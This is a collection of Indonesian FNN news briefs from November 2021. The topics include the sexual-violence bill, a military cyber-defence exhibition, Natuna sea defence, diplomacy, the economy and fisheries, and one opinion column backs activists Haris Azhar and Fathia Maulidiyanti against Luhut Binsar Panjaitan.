Pulau Laut, sebagai bagian dari pulau-pulau terluar Indonesia. Pulau Sekatung adalah pulau terluar dan paling utara dari wilayah Kabupaten Natuna, Provinsi Kepulauan Riau, yang terletak di Laut Cina Selatan dan berbatasan dengan negara Vietnam. Sedangkan Pulau Laut merupakan Kecamatan terluar di daerah Kabupaten Natuna. (sws)

Komnas Perempuan Dorong RUU TPKS Segera Menjadi RUU Inisiatif DPR

Jakarta, FNN - Komnas Perempuan mendorong DPR RI untuk segera menetapkan Rancangan Undang-Undang Tindak Pidana Kekerasan Seksual (RUU TPKS) menjadi RUU Inisiatif DPR. Dorongan tersebut merupakan salah satu rekomendasi Komnas Perempuan yang disampaikan Komisioner Komnas Perempuan Maria Ulfah Anshor menanggapi rencana Rapat Pleno Badan Legislatif DPR RI pada 25 November 2021 terkait pengambilan keputusan terhadap naskah RUU TPKS. Hal itu ia sampaikan saat menjadi narasumber seminar nasional bertajuk “Urgensi Pengesahan RUU TPKS untuk Proteksi dan Perlindungan Perempuan dan Anak Menuju Keluarga Maslahah” yang disiarkan langsung di kanal YouTube TVNU Televisi Nahdlatul Ulama, dipantau dari Jakarta, Rabu. “Semoga pimpinan panitia kerjanya tegas dan Ketua DPR RI mempunyai komitmen tinggi. Kalau RUU TPKS itu diketok, artinya DPR RI serius,” kata Maria. Sebaliknya, tambah Maria, apabila RUU tersebut belum disahkan, maka masyarakat bisa kembali mempertanyakan keseriusan dan komitmen DPR untuk melindungi korban kekerasan seksual di Indonesia. Di samping itu, ia menilai catatan kasus kekerasan seksual yang ada sejauh ini, khususnya dari catatan tahunan Komnas Perempuan belum merangkum semua pengaduan korban. Kenyataannya, ujar Maria, masih banyak kasus kekerasan seksual di Tanah Air yang belum dilaporkan korban. “Yang tidak terlapor itu jumlahnya lebih besar dari angka yang tercatatkan dalam catatan tahunan Komnas Perempuan yang rata-rata dalam satu tahun ada 5.000 kasus terlaporkan,” jelasnya. Untuk itu, pengesahan RUU TPKS diharapkan dapat segera terlaksana untuk mengatasi permasalahan kekerasan seksual di Indonesia. Selain itu, Maria Ulfah Anshor memaparkan rekomendasi lain dari Komnas Perempuan, di antaranya memperkuat lobi kepada Panitia Kerja RUU TPKS untuk menyempurnakan sejumlah ketentuan dalam aturan tersebut dengan mempertimbangkan manfaat berdasarkan pengalaman korban kekerasan seksual dan hambatan bagi mereka dalam mengakses keadilan. Kemudian, diperlukan langkah mengadvokasi pemerintah untuk memperkuat kelompok masyarakat yang bekerja langsung dalam penanganan korban kekerasan seksual dan mengadvokasi tokoh agama serta tokoh masyarakat untuk mendukung pengesahan RUU TPKS. Yang terakhir adalah mendorong media, dunia usaha, dan pemangku kepentingan terkait untuk ikut memperkuat advokasi RUU TPKS. Maria mengimbau seluruh elemen masyarakat untuk bergerak bersama mendorong RUU TPKS agar dapat segera disahkan. “Mari, kita bersama-sama bergerak mendorong agar RUU TPKS segera disahkan,” imbaunya. (sws)

Komandan Pussansiad Ajak Masyarakat Jaga Pertahanan Siber di Indonesia

Jakarta, FNN - Komandan Pusat Sandi dan Siber TNI Angkatan Darat (Pussansiad) Brigjen TNI Iroth Sonny Edhie mengajak seluruh kelompok masyarakat turut aktif menjaga pertahanan dan memelihara keamanan siber di Indonesia. Alasannya, kata dia, menjaga keamanan dan pertahanan siber di Indonesia merupakan tanggung jawab bersama. “Oleh karenanya, kegiatan untuk meningkatkan pemahaman, pengetahuan, dan menjalin hubungan yang baik akan dilakukan secara berkesinambunhan dengan seluruh entitas siber,” kata Iroth saat membuka Eksibisi Siber Pussansiad 2021 di Jakarta, Rabu. Dalam kesempatan itu, Iroth menyampaikan serangan siber terhadap kedaulatan NKRI merupakan ancaman yang nyata. Namun persoalannya, pemahaman dan kemampuan masyarakat mengantisipasi dan menghadapi ancaman itu masih kurang memadai. “Perkembangan pesat teknologi informasi dan komunikasi, terutama pada bidang siber mengakibatkan timbulnya ancaman dan kerawanan keamanan siber,” terang Brigjen Iroth pada sambutannya. “Ini tentunya menimbulkan ancaman bagi pertahanan negara, yang salah satunya menjadi tugas TNI AD dalam melakukan upaya-upaya menegakkan kedaulatan siber di NKRI,” tambah dia. Terkait itu, Pusat Sandi dan Siber TNI AD berkomitmen melibatkan seluruh kelompok masyarakat, termasuk entitas siber di Tanah Air untuk turut serta menjaga kedaulatan siber di Indonesia. “Ranah siber sesuatu yang masih relatif baru, termasuk pemahaman dunia siber bagi personel TNI dan masyarakat agar kita semua bisa berperan serta dalam keamanan siber,” ujar Komandan Pussansiad. Ia menegaskan menjaga keamanan siber merupakan bagian dari tugas TNI, termasuk TNI AD, sebagaimana tercantum dalam doktrin Kartika Eka Paksi. “Kewajiban TNI AD sesuai yang disebutkan dalam doktrin Kartika Eka Paksi bahwa salah satu fungsi militer, khususnya adalah kemampuan siber di mana dapat melakukan respons telematika dan kemampuan manuver ofensif,” terang dia. Dengan demikian, Pussansiad menggelar acara seminar dan pameran industri siber di Jakarta, Rabu, demi meningkatkan kesadaran dan wawasan masyarakat mengenai keamanan siber di Tanah Air. Pameran yang berlangsung selama sehari itu, sejumlah perusahaan yang bergerak di bidang pertahanan dan keamanan siber menunjukkan berbagai produk dan inovasi. Perusahaan yang menjadi peserta Eksibisi Siber Pussansiad 2021, antara lain PT Pindad, PT Internet Pratama Indonesia, PT NKM Cyber Tech, PT Defenxor, PT Rudex Teknologi Indonesia, PT Protergo Cybersecurity, dan PT Siber Teknologi Indonesia. Di samping pameran, Eksibisi Siber Pussansiad 2021 menampilkan acara seminar tentang keamanan siber yang menghadirkan sejumlah pembicara, antara lain Komandan Pussansiad, Praktisi Siber Brigjen TNI Bondan Widiawan, Ahli Siber dari Institut Teknologi Bandung (ITB) Ian Yosef Matheus Edward, dan Pengamat Keamanan Siber Linuz Tri Erianto. Seminar dan diskusi itu berlangsung secara langsung dan virtual, serta diikuti masyarakat umum, personel TNI AD, dan mahasiswa. (sws)

Pemerintah Lakukan Penguatan Pertahanan di Laut Natuna

Jakarta, FNN - Pemerintah terus melakukan penguatan pertahanan untuk mengantisipasi gangguan di Laut Natuna yang berdekatan dengan Laut China Selatan. Menteri Koordinator Bidang Politik, Hukum, dan Keamanan (Menko Polhukam) Mahfud MD mengatakan hal itu di atas Kapal KRI Semarang saat perjalanan menuju Pulau Laut, Kabupaten Natuna, Provinsi Kepulauan Riau, Selasa (23/11). Penguatan itu, lanjut dia, dengan memperkuat pertahanan di laut, darat, udara, dan mengatur pemangku kepentingan kelautan dalam menangani gangguan yang muncul dari luar. "Awal tahun 2020, ketika kapal- kapal China dengan sangat provokatif, kita datang ke sini (Laut Natuna), Presiden ke sini, Saya ke sini, lalu kita katakan ini wilayah kita. Jadi mengerikan bagi mereka bahwa kita ada. Maka mereka semua mundur.. mundur," kata Mahfud dalam siaran persnya yang diterima di Jakarta, Rabu. Menurutnya, pemerintah telah mengidentifikasi gangguan terhadap keutuhan bangsa dan negara. Di belahan barat, yaitu di Laut Natuna, banyak kapal dan perahu asing masuk melalui jalur ini, baik itu yang berbendera maupun tidak berbendera. Selain melakukan penguatan dari dalam, ujarnya, pemerintah melakukan pengaturan kepada pemangku kepentingan di bidang kelautan. "Stakehokder kelautan diatur sedemikian rupa, kalau menangani pencuri bagaimana, menangani kapal mata-mata bagaimana, menghadapi penyelundup, sehingga perkuatan di dalamnya tinggal disinergikan," ujar Mahfud. Selain memperkuat kekuatan pertahanan dan keamanan dari dalam, kata dia, pemerintah akan meningkatkan pembangunan yang bersifat multidimensi dengan meningkatkan sosial ekonomi masyarakat di wilayah perbatasan. Hal itu menjadi bukti bahwa negara berkomitmen untuk mengelola kawasan perbatasan, terutama wilayah pulau-pulau kecil luar (PPKT) di Indonesia, paparnya. "Bukan hanya pembangunan kekuatan aparat penegak hukum pertahanan dan keamanan di laut, tapi lebih dari itu. Presiden mengatakan, misalnya, berapa pun kita sediakan senjata, tentara, polisi di sana, namun kalau di bidang sosial ekonomi tidak dibangun, ya tidak akan efektif menjaga negara," papar Mahfud. Oleh karena itu, tambah dia, sesuai pesan Presiden, penjagaan di perbatasan akan terus dilakukan dengan melakukan pengawasan, patroli, dan melakukan pembangunan di bidang ekonomi. "Karena kalau ekonomi di laut Natuna itu hidup, maka keutuhan kita menjadi terjaga," tegas Mahfud. (sws)

PKS Buka Peluang Non Kader Jadi Calon Pejabat Publik

Depok, FNN - Badan pemenangan pemilu dan pilkada DPW PKS Jawa Barat Muttaqin mengatakan menghadapi pemilu dan pilkada pada 2024, partainya meluncurkan program Sekolah Calon Pejabat Publik (SECAPPU). "Kami persilakan kepada non kader PKS untuk bisa mendaftar," kata Muttaqin dalam keterangannya, Rabu. Muttaqien mengatakan dengan SECAPPU ini PKS ingin memberi kesempatan kepada warga di luar PKS yang memiliki potensi dan kapasitas menjadi pejabat publik baik DPRD Kota, Provinsi maupun pusat dan menjadi kepala daerah baik kota mauoun kabuoaten maupun Gubernur Jabar. Untuk mengikuti SECAPPU Peserta tidak di pungut biaya pendaftaran dan tidak wajib mendaftar sebagai anggota PKS. Pendaftaran dilakukan secara online sampai dengan 27 Des 2021. Melalui klik: https://bit.ly/FormulirPendaftaranSECAPPUPKSJawaBarat," ujarnya. Sedangkan untuk syaratnya yaitu WNI minimal lulusan SMA, usia 17 tahun keatas dan mendaftarkan diri. Selanjutnya setelah lulus Secappu yang akan men jadi calon pejabat publik ada syarat tambahan yaitu menjadi anggota PKS, punya kredibilitas moral yang baik, punya basis massa dan atau modal finansial yang cukup untuk biaya kampanyenya sendiri. (sws)

Ombudsman NTT Pasang Pigura Pengaduan Layanan Publik di PLBN Motaain

Kupang, FNN - Ombudsman Perwakilan Nusa Tenggara Timur memasang pigura pengaduan pelayanan publik di Pos Lintas Batas Negara (PLBN) Motaain Kabupaten Belu, Nusa Tenggara Timur, yang berbatasan dengan Timor Leste. "Pigura "Kriiing Ombudsman" ini kami pasang untuk menjawab kesulitan akses warga melapor saat mengalami permasalahan terkait pelayanan publik di pintu perbatasan negara," kata Kepala Ombudsman Perwakilan NTT Darius Beda Daton ketika dikonfirmasi di Kupang, Rabu. Ia mengatakan sebelumnya Ombudsman NTT menerima keluhan pelintas batas yang melewati PLBN Motaain terkait adanya pungutan tambahan pengurusan paspor dari petugas Imigrasi Atambua. Selain itu, para pemilik kendaraan ekspor-impor mengeluhkan pemeriksaan kendaraan oleh personel TNI dari Satuan Tugas Pengamanan Perbatasan (Satgas Pamtas) RI-Timor Leste, yang sebenarnya menjadi tugas dan kewenangan Bea dan Cukai di PLBN. "Tetapi syukurlah permasalahan ini telah diselesaikan oleh para pihak terkait di sana," katanya. Beda Daton mengatakan masyarakat pengguna layanan di PLBN Motaain sebelumnya kesulitan melaporkan persoalan pelayanan publik yang dialami karena tidak mengetahui akses untuk melapor. Oleh sebab itu, kata dia, pemasangan pigura "Kriiing Ombudsman" ini diharapkan dapat mengatasi kesulitan tersebut. Ia mengatakan pihaknya terus bergerak memasang pigura guna menjangkau hingga ke pelosok wilayah NTT untuk memudahkan akses warga melapor melalui nomor kontak 08123788320 dan 08111453737. Sejauh ini Ombudsman NTT telah memasang sekitar 128 pigura di wilayah di NTT yang tersebar di berbagai instansi pelayanan publik hingga tingkat desa. Pengaduan pelayanan publik yang disampaikan melalui akses ini, kata dia, bermanfaat sebagai referensi bagi instansi penyelenggara layanan publik untuk terus membenahi kualitas pelayanan. Beda Daton mengajak masyarakat untuk memperbaiki layanan pemerintah dengan ikut berpartisipasi menyampaikan laporan melalui nomor-nomor di pigura "Kriiing Ombudsman. "Mari awasi, tegur, dan laporkan jika mengalami layanan yang belum sesuai standar di seluruh instansi pemerintah," katanya. (sws)

Taliban Rilis Aturan Media, Larang Aktris Main Sinetron

Kabul, FNN - Pemerintah Taliban merilis sederet pembatasan terhadap media Afghanistan, termasuk melarang drama televisi (sinetron) melibatkan pemain perempuan dan mewajibkan pembaca berita perempuan memakai "hijab Islami". Kementerian Penyebaran Kebajikan dan Pencegahan Kejahatan Afghanistan menetapkan sembilan aturan media pekan ini, sebagian besar melarang media apa pun yang bertentangan dengan "nilai-nilai Islam atau Afghanistan", kata juru bicara pemerintah Taliban pada Selasa, 23 November 2021. Beberapa pembatasan khusus ditargetkan pada kaum perempuan, sebuah langkah yang berpotensi memicu kekhawatiran komunitas internasional. "Drama (televisi)... atau program-program yang menayangkan akting perempuan, tidak boleh disiarkan," tulis aturan tersebut, sebagaimana dikutip dari Antara. Aturan itu juga mewajibkan wartawan perempuan yang bersiaran untuk memakai "hijab Islami" tanpa mendefinisikan apa maknanya. Meski sebagian besar perempuan di Afghanistan sudah berjilbab, pernyataan Taliban di masa lalu bahwa perempuan harus memakai "hijab Islami" kerap membuat para pegiat HAM perempuan khawatir. Mereka menganggap istilah itu tidak jelas dan dapat ditafsirkan secara kolot. Aturan tersebut mendapat kecaman dari pengawas HAM internasional Human Rights Watch (HRW), yang menyebutkan bahwa kebebasan media di Afghanistan merosot. "Hilangnya ruang untuk perbedaan pendapat dan pembatasan yang semakin ketat bagi kaum perempuan di bidang media dan seni itu menghancurkan," ucap Patricia Goss, seorang petinggi HRW untuk kawasan Asia lewat pernyataan. Meski pejabat Taliban sudah berupaya meyakinkan kaum perempuan dan masyarakat internasional bahwa hak-hak perempuan akan dilindungi sejak mereka mengambil alih Afghanistan pada 15 Agustus lalu, banyak pendukung HAM dan perempuan masih meragukan janji itu. Di bawah pemerintahan Taliban yang lalu, perempuan tidak boleh keluar rumah kecuali untuk bersekolah atau didampingi oleh kerabat laki-lakinya. (MD).

Dubes Ridwan: Kuliner Indonesia Jembatan Penghubung Antarbangsa

Jakarta, FNN - Kekayaan kuliner Indonesia dapat menjadi jembatan yang menghubungkan berbagai bangsa, kata Duta Besar RI untuk Qatar Ridwan Hassan. Ridwan mengatakan hal itu dalam sambutannya di acara "Indonesia Culinary Night" (Malam Kuliner Indonesia) di Doha, Qatar, pada Senin (22/11). "Tidak hanya itu, diplomasi kuliner Indonesia juga diharapkan dapat membawa efek rembes secara ekonomi. Kita berharap dari acara ini ada satu atau dua kuliner Indonesia yang dapat menjadi menu tetap di hotel-hotel di Qatar," kata Ridwan seperti dikutip dalam keterangan KBRI Doha yang diterima di Jakarta, Rabu. Acara itu digelar untuk mempromosikan berbagai masakan khas Indonesia kepada masyarakat Qatar, khususnya kalangan bisnis perhotelan, dengan mengundang para general manager hotel, wartawan, influencer dan food blogger setempat. KBRI Doha juga mengundang para duta besar negara sahabat, seperti Australia, Korea Selatan, Turki, Meksiko dan negara-negara ASEAN. Menurut Ridwan, kuliner Indonesia memang telah lama diakui keunikan dan kekayaan rempah-rempahnya, namun perlu diberi ruang promosi yang lebih besar untuk disajikan di kalangan atas, khususnya di Timur Tengah. Dia juga mengapresiasi kehadiran dan kegigihan para koki Indonesia di Qatar dalam memperkenalkan dan mempromosikan kekayaan kuliner Indonesia. "Mereka hakikatnya adalah duta-duta kita yang telah berkontribusi besar dalam memperkenalkan dan mempromosikan kuliner Indonesia di Qatar," ujarnya. Acara Malam Kuliner Indonesia itu didukung oleh delapan koki Indonesia yang bekerja di Qatar. Mereka dipilih berdasarkan keahlian masing-masing. "Saya bangga menjadi bagian dari tim (acara) ini," kata Edo, salah satu koki yang bekerja untuk keluarga kerajaan di Qatar. Beberapa menu unggulan yang disajikan dalam acara itu antara lain adalah es dawet, wedang jahe, gado-gado, soto ayam Lamongan, nasi kuning, rendang, sate, pempek dan bika ambon. Acara itu juga diisi dengan pagelaran tari yang dibawakan oleh grup tari Puspa Qinarya dan musik angklung oleh Indonesian Ladies Angklung. Kedua grup kesenian tersebut beranggotakan para diaspora Indonesia di Qatar, yang selama ini aktif memperkenalkan budaya Indonesia kepada masyarakat di Qatar. (mth)

KBRI Perkenalkan Keragaman Kopi Indonesia, Dorong Ekspor ke Jepang

Jakarta, FNN - Kedutaan Besar RI di Tokyo menggelar "Coffee with the Ambassador" untuk memperkenalkan keragaman kopi Indonesia sebagai bagian dari upaya mendorong ekspor kopi ke Jepang. Kegiatan itu digelar KBRI pada Senin (22/11) bersama Kantor Perwakilan Bank Indonesia di Tokyo, menurut keterangan tertulis yang diterima di Jakarta, Selasa. Sekitar 40 pebisnis dan pecinta kopi di Jepang mengikuti kegiatan itu secara langsung, sedangkan pelaku usaha kopi dari Koperasi Produsen Serba Usaha (KPSU) Solok Radjo mengikuti secara daring dari Solok, Sumatera Barat. Dalam acara itu disajikan 5 varietas kopi unggulan Indonesia, yaitu Mandailing, Solok Radjo, Pangalengan, Kintamani dan Toraja. "Saya berharap melalui kegiatan promosi dan edukasi kopi varietas tunggal ini, citra kopi Indonesia yang berkualitas dan bercita rasa tinggi dapat menggenjot ekspor ke Jepang dan sekaligus menjadi favorit masyarakat Jepang," kata Duta Besar RI untuk Jepang Heri Akhmadi yang turun langsung menjadi barista atau peracik kopi. Sementara itu, pebisnis Jepang Taijiro Fukuda membagikan pengalaman berbisnis kopi Indonesia varietas tunggal miliknya di kawasan Nakameguro, Tokyo. "Pelanggan saya kebanyakan anak-anak muda Jepang usia 30-40 tahun. Mereka gemar dengan cita rasa kopi Indonesia, terutama dari Sumatera Mandailing, Aceh Gayo dan Sulawesi Toraja," kata Fukuda. "Dalam waktu dekat, saya ingin berkunjung ke perkebunan kopi di Indonesia untuk mengenal varietas kopi Indonesia lainnya," ujarnya. Kepala Kantor Perwakilan Bank Indonesia Tokyo Hilman Tisnawan dalam kesempatan itu mengatakan dirinya berharap ada peningkatan efisiensi dalam penyelesaian transaksi ekspor-impor kopi dan mengurangi ketergantungan pada nilai tukar mata uang asing melalui skema local currency settlement. Dalam kegiatan itu, para pebisnis dan pecinta kopi di Jepang juga berkesempatan menonton film "Telusur Rasa" dan tur virtual ke perkebunan KPSU Solok Radjo. Indonesia merupakan eksportir kopi terbesar ke-6 ke Jepang setelah Brazil, Vietnam, Kolombia, Guatemala, dan Ethiopia. Indonesia menguasai sekitar 2,5 persen pangsa pasar kopi di Jepang. Nilai ekspor kopi Indonesia ke Jepang pada 2020 mencapai 60,4 juta dolar AS (sekitar Rp862,03 miliar). (mth)

Gubernur BI Optimistis Ekonomi RI Pulih Tahun 2022 Hingga 5,5 Persen

Jakarta, FNN - Gubernur Bank Indonesia (BI) Perry Warjiyo optimistis ekonomi Indonesia akan pulih pada tahun 2022 dan bertumbuh dalam rentang 4,7 persen sampai 5,5 persen. "Pertumbuhan ini lebih tinggi dari 3,2 persen sampai empat persen pada 2021," ujar Perry dalam Pertemuan Tahunan Bank Indonesia (PTBI) 2021 di Jakarta, Rabu. Menurutnya, pemulihan ekonomi akan ditopang peningkatan ekspor, konsumsi, dan investasi yang membaik karena didukung vaksinasi, pembukaan sektor ekonomi, dan stimulus kebijakan. Di sisi lain, bank sentral memperkirakan inflasi yang rendah pada 2021 akan mendukung terkendalinya inflasi nasional sebesar dua persen sampai empat pada 2022. "Kisaran inflasi didukung pasokan yang memadai, respons kebijakan BI, koordinasi Tim Pengendalian Inflasi (TPI) pusat dan daerah, serta stabilitas nilai tukar rupiah," kata Perry. Ia menjelaskan pihaknya terus menjaga stabilitas kurs Garuda sesuai komitmen kuat BI di tengah normalisasi moneter Bank Sentral AS, The Fed. Sejak Januari sampai 17 November 2021, nilai tukar rupiah memang melemah 1,35 persen secara point to point jika dibandingkan dengan 2020. Namun, depresiasi tersebut termasuk cukup rendah jika dibandingkan pelemahan mata uang negara lain, seperti dolar Singapura yang melemah 2,58 persen, ringgit Malaysia 3,43 persen, peso Filipina 6,06 persen, serta euro 8,68 persen. (mth)

BRIN Fokus Tiga Teknologi Kunci Dukung KLBB

Jakarta, FNN - Badan Riset dan Inovasi Nasional (BRIN) akan fokus pada tiga teknologi kunci yaitu motor, baterai dan stasiun pengisian untuk mendukung kesiapan industri kendaraan listrik berbasis baterai (KLBB). "Untuk dapat mengejar perkembangan global maka BRIN akan fokus pada tiga teknologi kunci yaitu motor, baterai dan stasiun pengisian atau charging station," kata Kepala BRIN Laksana Tri Handoko dalam pembukaan Indonesia Electric Motor Show (IEMS) 2021 secara hybrid yang diikuti ANTARA di Jakarta, Rabu. Handoko mengatakan penguasaan teknologi motor, baterai dan charging station juga harus diimbangi dengan perhitungan tingkat komponan dalam negeri (TKDN) KLBB. Hal tersebut sesuai dengan Peraturan Menteri Perindustrian Nomor 27 Tahun 2020 tentang Spesifikasi, Peta Jalan Pengembangan, dan Ketentuan Penghitungan Tingkat Komponen Dalam Negeri Kendaraan Bermotor Dalam Negeri Kendaraan Bermotor Listrik Berbasis Baterai. Ia menuturkan perhitungan TKDN harus masuk dalam ekosistem kendaraan bermotor listrik berbasis baterai. Menurut dia, periset di Tanah Air harus bekerja keras untuk mengembangkan teknologi baru untuk mobil listrik dan untuk menjawab hambatan (bottle neck) tiga teknologi tersebut sehingga akan tercipta KLBB dengan TKDN yang tinggi. Beberapa kendala seperti harga kendaraan listrik, harga baterai, dukungan purna jual, dan ketersediaan infrastruktur masih menjadi kekhawatiran calon pengguna kendaraan listrik. Handoko mengatakan kegiatan riset dan inovasi pada kendaraan listrik menjadi bagian penting untuk menyiapkan industri dalam negeri dalam mendukung era kendaraan listrik di Indonesia. Selain itu, regulasi dan insentif juga harus disinergikan untuk mendukung ekosistem KLBB di Tanah Air. Komitmen pemerintah telah terlihat dengan adanya target menghentikan penjualan kendaraan konvensional pada 2040 untuk roda dua dan 2050 untuk roda empat. Pemerintah juga menyiapkan ekosistem kendaraan listrik setelah terbitnya Peraturan Presiden Nomor 55 Tahun 2019 tentang Percepatan Program Kendaraan Bermotor Listrik Berbasis Baterai untuk Transportasi Jalan. (mth)

Dukungan untuk Haris Azhar dan Fathia Maulidiyanti

Oleh: Yusuf Blegur Kekuasaan terus merangsek mengangkangi norma dan aturan. Dengan bekal pengaruh, harta dan jabatan yang dimiliki, ambisi dan keangkuhan itu berusaha menaklukkan semua yang ada di hadapannya. Hadir dalam pelbagai rupa dan perangai menguasai kehidupan rakyat dan negara. Hawa nafsu yang dominan dan sistemik dalam dirinya tampil arogan dan sewenang-wenang. Pribadi dan atau bersama kelompoknya, memamerkan kekuatan dan seolah menunjukkan kelakuannya tak bisa digugat dan dihadapi oleh siapapun. Direktur Eksekutif Lokataru Haris Azhar dan Koordinator Kontras Fathia Maulidayanti. Aktifis pergerakan yang konsern dalam mengeksplorasi relasi negara dengan kehidupan rakyatnya. Kali ini berhadapan dengan Luhut Binsar Panjaitan usai mengangkat bisnis pertambangannya di Papua dalam channel youtube. Haris Azhar dan Fathia Maulidiyanti harus berseteru hingga mungkin sampai ke pengadilan dengan Luhut Binsar Panjaitan, seorang pejabat sekaligus pengusaha yang banyak terlibat langsung dan memengaruhi kebijakan negara. Sifat birokrat pengusaha yang satu ini bukan hanya cenderung manipulatif terhadap undang-undang. Ia juga eksploitatif terhadap kekayaan negara dan mengancam esistensi dan kesinambungan ekosistem lingkungan. Wajar saja Haris Azhar dan Fathia Maulidiyanti menuntut transparasi dan akuntabilitas politik bisnis Luhut. Demi kebenaran dan demi keadilan bagi kehidupan rakyat. Rakyat sudah tahu dan memahami bagaimana semua sektor kehidupan negara telah dikuasai oligarki dan kelompok borjuasi korporasi. Termasuk Luhut yang mengemban segudang jabatan dan memiliki daya pengatur bertekanan tinggi, bahkan kepada seorang presiden sekalipun. Bukan hanya bisnis pertambangan dan infra strukur semata. Luhut juga tersandung bisnis alat tes PCR, yang miris menghebohkan publik. Untuk sekian kalinya, Luhut menyakiti rakyat yang sudah sekarat menghadapi pandemi. Luhut benar-benar menampakan dirinya sebagai contoh wajah penguasa yang aji mumpung, serakah dan juga bengis. Seandainya napas manusia itu tidak gratis dari Tuhan, Luhut Pastinya akan melirik itu, sebagai sesuatu yang mungkin bisa diperjual-belikan juga. Keberanian Membongkar Kejahatan Haris Azhar dan Fathia Maulidiyanti, merupakan sedikit kenyataan bahwa betapapun kedzoliman hadir menyesaki ruang-ruang kehidupan publik di negeri ini. Kebenaran dan keadilan tidak akan pernah mati, walaupun terlihat redup dan terdengar sayup-sayup. Suara-suara kritis dan keberpihakan terhadap rakyat tertindas itu, masih menggema meski di tengah ingar bingar dan gemuruh konser kejahatan konstitusional. Walaupun mengundang resiko dan mengundang bahaya. Haris Azhar dan Maulidiyanti tak gentar. Betapapun tidak terlupakan oleh mereka, tidak sedikit kolega seperjuangannya yang terdahulu harus menjadi korban penganiayaan, hilang dan harus kehilangan nyawa. Berdua konsisten, teguh dan istiqomah berjuang. Mereka berdua seperti menghadapi tembok besar yang tiba-tiba dan seketika bisa saja berbalik merobohkan. Haris Azhar dan Fathia Maulidiyanti layaknya representasi pesan moral dan nilai-nilai agama yang selama ini terpinggirkan, menjadi formalitas dan dianggap uthopis. Jiwa yang berserah pada kebesaran Ilahi tak akan surut menghadapi kekuasaan manusia yang sejatinya tidak absolut. Rezim boleh korup dan represif, tapi tidak langgeng dan abadi. Selain seiring waktu melemah, ia juga tetap tak berarti dan tunduk pada kekuatan Tuhan yang hakiki. Haris Azhar dan Fathia Maulidiyanti, sejatinya merupakan kesadaran keberanian dan perlawan rakyat yang masih terserak di sana-sini. Ia hanya belum bersatu, masih seperti puzzel yang belum terangkai namun tetap bisa disusun menjadi indah, solid dan bermakna. Semoga perlawanan Haris Azhar dan Fathia Maulidiyanti kepada rezim kekuasaan yang tiran mendapatkan keberpihakan dari rakyat, alam dan Tuhan yang Maha Besar dan Maha Kuasa. Sebagaimana keduanya begitu peduli dan memasuki kedalamannya. Tak perlu takut, tak perlu ciut bahkan ketika harus menghadapi seribu Luhut. Karena hanya kekuasaan Tuhan yang absolut. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Potensi Perikanan Di Kepulauan Riau Baru Termanfaatkan 3,3 Persen

Tanjungpinang, FNN - Gubernur Kepulauan Riau (Kepri), Ansar Ahmad mengatakan, daerah yang dipimpinnya memiliki potensi perikanan sebesar 1,1 juta ton per tahun. Hingga sekarang, potensi perikanan di daerah yang terdiri dari 2.408 pulau tersebut baru termanfaatkan 3,3 persen. Kepri menghasilkan berbagai komoditas ekspor unggulan. Misalnya, lobster, kepiting, ikan kerapu, ikan betutu, udang belalang, gonggong, kerang, rumput laut, udang vaname, dan ikan tenggiri. Ansar, saat bertemu Juru Bicara Menteri Kelautan dan Perikanan (KKP), Wahyu Muryadi di Natuna, Kepri, mencontohkan Kepulauan Natuna, yang kaya sumber daya laut, telah menarik minat nelayan mulai dari Pantura Jawa hingga asing yang masuk secara ilegal. Adapun nelayan asli Natuna, katanya, mayoritas masih menangkap dengan cara tradisional. "Nelayan di sana sebenarnya tangguh karena mereka turun-temurun dari keluarga nelayan. Di Natuna dan Anambas, ada 12 ribu lebih nelayan," ujarnya, sebagaimana dikutip dari Antara, Rabu, 24 November 2021. Ansar terus mendorong peningkatan kapasitas dan daya saing para nelayan melalui pemberdayaaan dan berbagai pelatihan. Para nelayan muda akan dikirim ke sekolah teknik pelayaran agar mampu menakhodai kapal-kapal besar. "Tinggal sistemnya, bagi hasilnya, nanti bentuk badan usahanya bersama seperti koperasi. Saya yakin itu bisa terwujud," ucap Gubernur. Tidak cuma perkara sumber daya manusia, ia menyebutkan, Kepri juga perlu menyiapkan infrastruktur jika ingin industri perikanan maju. Dermaga sudah tersedia di pulau-pulau, tetapi akses jalannya perlu diperbaiki agar kendaraan besar untuk kebutuhan industri bisa beroperasi. "APBD kami Rp 3,7 triliun, relatif kecil untuk mengurus provinsi kepulauan seperti Kepri," ujarnya. Agar bisa menggenjot industri perikanan, lanjut Ansar, perlu dukungan dari pemerintah pusat dalam bentuk insentif fiskal dan nonfiskal, serta kemudahan perizinan. "Dukungan APBN mesti banyak dikucurkan. Kalau itu terwujud, saya yakin percepatan pembangunan di semua sektor di wilayah kepulauan akan terwujud," ucapnya. Sedangkan Wahyu Muryadi menuturkan, pemerintah sedang menyiapkan program penangkapan terukur. Melalui kebijakan itu, kapal penangkap ikan akan diwajibkan menimbang di dermaga setempat. Dengan demikian, daerah asal turut merasakan manfaat ekonomi dari kegiatan penangkapan ikan. "Kami akan membuat kebijakan perikanan secara terukur berbasis pada kuota. Di masa mendatang, semua wilayah pengelolaan perikanan akan dibagi menjadi beberapa zonasi," ujarnya. Wahyu mengklaim, hanya Indonesia yang belum memiliki kebijakan zonasi penangkapan. Di hampir semua negara, penangkapan telah dilakukan secara terukur untuk menjaga keberlanjutan dan kelestarian laut. Targetnya nelayan tradisional tetap bisa melaut dan harga di pasar terjaga. Program zonasi itu juga diyakini bakal menghidupkan ekonomi kepulauan. "Selama ini kepala daerah mengeluh, kapal menangkap ikan terus, langsung dibawa ke Jakarta. Yang menikmati pelabuhan Jakarta, daerah tidak dapat apa-apa," ucap Wahyu. Ia mengutarakan pemerintah mengandalkan investasi dalam mengembangkan industri perikanan. Berbagai regulasi telah disiapkan guna memastikan investasi yang masuk dapat menyejahterakan rakyat. Misalkan kapal asing yang ingin menangkap, 95 persen pekerjanya harus warga negara Indonesia. Investor juga diizinkan membangun infrastruktur berupa dermaga hingga pasar. "Kalau asing mau berinvestasi ke sini silahkan, mau mengelola perikanan juga silahkan. Kami akan mengadakan beauty contest (seleksi) untuk melihat penawaran yang terbaik," ujarnya. (MD).

Arogansi Kekuasaan

